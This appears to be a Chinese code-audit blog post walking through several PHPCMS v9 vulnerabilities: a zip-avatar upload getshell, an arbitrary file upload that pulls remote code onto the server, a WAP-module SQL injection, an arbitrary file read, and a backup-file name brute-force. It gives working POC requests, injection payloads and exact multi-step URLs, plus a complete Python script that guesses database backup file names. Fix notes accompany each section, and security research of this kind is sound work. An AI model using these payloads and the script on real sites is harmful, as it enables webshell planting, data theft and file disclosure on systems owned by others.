學習代碼審計,自己簡單記錄一下。如有錯誤望師傅斧正。
PHPCMS預備知識
PHPCMS是采用MVC設計模式開發,基於模塊和操作的方式進行訪問,采用單一入口模式進行項目部署和訪問,無論訪問任何一個模塊或者功能,只有一個統一的入口。
| 參數名稱 | 描述 | 位置 | 備注 |
|---|---|---|---|
| m | 模型/模塊名稱 | phpcms/modules中模塊目錄名稱 |
必須 |
| c | 控制器名稱 | phpcms/modules/模塊/*.php 文件名稱 |
必須 |
| a | 事件名稱 | phpcms/modules/模塊/*.php 中方法名稱 |
PHPCMSV9.2上傳Getshell
漏洞復現
我們搭建好環境直接注冊,找到修改頭像。

我們在本地創建一個zip文件里面包含一個文件夾,一個我們的惡意代碼。通過Burp修改掉。

訪問phpsso_server/uploadfile/avatar/1/1/1/av/av.php 其中1是我們的uid

漏洞分析
重復以上步驟。通過burp我們找到上傳事件,我們直接去代碼定位這個函數。

然后去代碼找到函數直接斷點調試

根據用戶UID創建文件夾,防止用戶多了文件夾重復創建了兩次,然后檢測目錄創建,沒有就創建一次,否則跳過。

根據uid重命名我們的壓縮包文件

壓縮包的文件就是我們上傳的壓縮包文件

之后進行解壓縮文件

之后進入dir中循環判斷文件安全,刪除壓縮包和非jpg圖片

走到遍歷白名單判斷文件,排除.(當前目錄)..(上級目錄)下圖刪除了壓縮包文件

再次循環時$file=av 而av是目錄。unlink是不能刪除目錄的。所以出現異常。

所以進而我們的惡意文件留在了服務器里面。這就是為什么上面利用的壓縮包里的惡意代碼文件需要放在目錄下
漏洞修復
不使用zip壓縮包處理圖片文件。因為后端需要處理特別多的數據。
PHPCMSV9.6.0任意文件上傳漏洞
漏洞復現
先注冊然后抓包

其中要准備一個遠程的服務器下的惡意代碼

准備我們的POC如下
siteid=1&modelid=11&username=123456&password=123456&email=12345@qq.com&info[content]=<img src=http://192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
然后修改放包會報一個錯誤,會返回我們的URL路徑


漏洞分析
我們直接找到剛剛我們的包,他是在index.php進入member模塊中的index文件里面有一個register函數

我們現在打開我們的代碼定位函數,路徑如下

為了更好的理解POC的巧妙。我們正常注冊一次然后用POC注冊一次分析

前面就是一堆信息的驗證作用不大,我們繼續跟蹤到130行
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']); //重點 }
在這里我們看見$_POST['info']使用了member_input類中的get方法我們跟蹤進去。

走到47行獲取了datatime函數,this->fields是一個動態函數對應的一張表根據modelid來確定的formytpe。如下圖
【也可以跟進去一步步來,微信搜索黑白天的文章。有詳細解釋,建議自己跟一遍】


我那們跟進去datatime函數 就是做了一校驗然后又返回給$value

然后就是插入兩次數據庫,一個插入v9_member表一個生日日期和用戶id插入到v9_member_detail表中,至此正常流程走完。


接下來我們分析一下POC流程
值得注意的是我們必須保證username email是唯一
然后我們繼續定位到130行,發現content是我們的內容
經過new_html_special_chars就是防止XSS 所以實體化
於是我們變成了下面這樣子。繼續跟蹤get方法同上
這里我們獲取的是editor函數。

在這個函數中我們有一個download方法

我們跟蹤download方法,發現以下關鍵代碼
$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
這就是為什么我們寫info[content]=<img src-http://xxxx/phpinfo.txt?.php#.jpg(符合這個格式,而且加.jpg的原因)
到155行這里他把我們的$string值復制給了$matches
$matches [3]剛好是我們的鏈接,所以真的很巧妙

接着我們跟蹤fillurl方法,里面有一串關鍵代碼如下
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
strpos定位#,然后使用substr處理?.php#.jpg,處理完之后$surl =?.php繼續執行,可以發現返回的url去掉了#后面的內容

然后獲取后綴名。然后通過getname方法生成時間+三位數的文件名,如果不返回文件地址的url我們也可以進行爆破處理。


此時進行了copy函數對遠程文件下載

這里的$this->upload_func是copy函數的原因,是因為初始化時賦給的

此時我們的文件已經到我們的本地了

接着我們來看看寫入文件的路勁是如何返回給我們的。上面程序執行完以后,回到了register 函數中:
繼續跟進$this->db->insert($user_model_info); 發現數據庫插入的字段都不一樣繼續執行就會報錯。前台提示的信息一樣,沒有這個字段當然報錯
Message : Unknown column 'content' in 'field list'

漏洞修復
在phpcms9.6.1中修復了該漏洞,修復方案就是對用fileext獲取到的文件后綴再用黑白名單分別過濾一次
$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
continue;
}
PHPCMSV9.6.0 WAP模塊 SQL注入分析
漏洞復現
首先第一步訪問
/index.php?m=wap&c=index&siteid=1

把得到的set-cookie 記錄下來
第二步以POST方式訪問【下面是測試爆user的】就是一個報錯注入語句
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
並且傳參userid_flash其中的值就是第一步我們得到的set-cookie
userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY

把加密的json值記錄下來
第三步以POST的方式訪問
/index.php?m=content&c=down&a_k=第二步得到的Json值

漏洞分析
其實我們就是通過最后一次提交的數據來爆出來的東西。我們就逆向分析。看第三步的URL做了些什么
/index.php?m=content&c=down&a_k=第二步得到的Json值
我們定位到content模塊down文件中發現並沒有a_k方法
說明是自動執行的那就是init()和__construct()
__construct()基本沒東西,我們直接下斷init
走到14行看到sys_auth然后他就是一個加密解密的函數,我們這里不分析加密解密只分析功能

經過sys_auth解密得到
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}
走到17行發現一個系統函數parse_str 這個函數用不好容易出現變量覆蓋。可以自己查一下

我們知道用法了就是把$id給弄出來
然后直接到26行跟蹤get_one函數,發現后面就直接執行語句了。

肯定有人現在好奇那第三步為什么會得到這個值,我們返回到14行
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
我們怎么得到a_k的值,怎么得到的這個規范進行解密,因為他需要('system','auth_key')我們並不知道
所以我們需要知道誰調用了這個函數
我們回到第二步的POC
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&
userid_flash=Set-Cookie
我們找到attachment模塊下的attachments文件中的swfupload_json函數

到src時有一個safe_replace函數我們跟進

發現一個waf所以我們的src為什么要寫成%*27的原因,就是為了繞過一次waf
繼續到set_cookie我們跟進去發現set_cookie調用了sys_auth這個函數並且進行了ENCODE剛好我們又可以再前台看見

至於我們為什么要傳入一個POST值,是在__construct中如果沒有這個userid他會showmessage

而userid是17行的關鍵代碼。我們肯定沒有userid嘛所以三元表達式到第三個,他進行解密一次並且userid=1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
現在POST值是怎么拿到的呢,回到第一步,訪問的URL
/index.php?m=wap&c=index&siteid=1
我們周到wap下的index下的siteid 而siteid直接就在__construct函數里面,於是經過一次set_cookie加密

我們現在來順利一下整個過程

修復建議
把$a_k過濾一次,把$id用intval過濾一次
PHPCMS9.6.1任意文件讀取
漏洞復現
步驟同上一個漏洞所以就不截圖了
第一步訪問把得到的set-cookie 記錄下來
/index.php?m=wap&c=index&siteid=1
第二步訪問
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp
同樣POST傳遞值
userid_flash=第一步獲取的Set-cookie
第三部訪問
/index.php?m=content&c=down&a=init&a_k=第二步獲取的set-cookie

就可以下載我們要下載的文件
漏洞分析
我們還是和wap_SQL注入那樣逆向分析一下
/index.php?m=content&c=down&a=init&a_k=set-cookie
經過解密之后

{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}
經過safe_replace處理之后
"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp","filename":""
但是我們關鍵的是&s和&f沒有任何變化
再經過parse_str處理我們的url會被解碼一次

$f現在就是.p%3cphp

然后downurl發生變化我們點擊下載到download函數

經過一次解密再經過parse_str轉碼%3c=> <
走到118行因為傳遞的m=1經過$fileurl把他拼接起來變成
.\phpcms\base.p<hp
if($m) $fileurl = trim($s).trim($fileurl); //118行代碼
然后走到125行進行隨機名稱生成,126行他又把$fileurl的<給去掉了
$filename = date('Ymd_his').random(3).'.'.$ext; //125
$fileurl = str_replace(array('<','>'), '',$fileurl); //126
然后就進行一個原始下載。
第二部分和第一部分參考上面wap_sql注入,原理一樣。我們現在梳理一下這個漏洞。
從最下面分析,他過濾了<> 然后到上面php等一些黑名單 那就P<HP就可以

$fileurl是通過$s來的和$f來的。而$f和$s是通過構造$a_k來的,其中就DECODE 了兩次
所以要通過siteid=1來進行ENCODE一次。我們為什么要傳一個userid_flash
因為attachments下的析構函數中的userid不能為空
而我們沒登陸所以需要sys_auth($_POST['userid_flash'],DECODE')解密一下傳入的userid_flash使得userid=1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));
又經過set_cookie('att_json',$json_str);然后又返回到前台set-cookie
最終通過以下方法進行了下載
index.php?m=content&c=down&a=init&a_k=set-cookie
漏洞修復
官方V9.6.2是先過濾<>再進行php等黑名單過濾,我們還是可以繼續通過空白字符來進行繞過的
%81-%99間的字符是不會被trim去掉的且在windows中還能正常訪問到相應的文件。並且得到auth_key之后還可以進行其他的操作例如SQL注入等
PHPCMSV9暴力猜解數據庫
備份路徑 \caches\bakup\default\xxxx.sql
而問題出現在哪,我們先看POC。
poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql

原因:
windows的FindFirstFile(API)有個特性就是可以把<<當成通配符來用而PHP的opendir(win32readdir.c)就使用了該API。PHP的文件操作函數均調用了opendir,所以file_exists也有此特性。
pwaaov0zodprrm5371pe_db_20210715_1.sql
file_exists --- opendir -- FindFirstFile -- << 通配符
file_exists - << 通配符
333xxxx.sql
3<<.sql
file_exists(3<<.sql)
因為返回的只不同所以我們可以逐個猜解
附上斗魚Sec腳本
#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
mark = True
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
response = urllib2.urlopen(req)
content = response.read()
if 'Cannot' in content:
mark = False
return mark
def guest(target):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
while True:
for char in num:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
if len(arr) < 20:
for char in alpha:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
elif len(arr) == 20:
arr.append('_db_')
elif len(arr) == 29:
arr.append('_1.sql')
break
if len(arr) < 1:
print '[*]not find!'
return
print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))
if __name__ == "__main__":
url = 'http://www.x.com'
#test
guest(url)
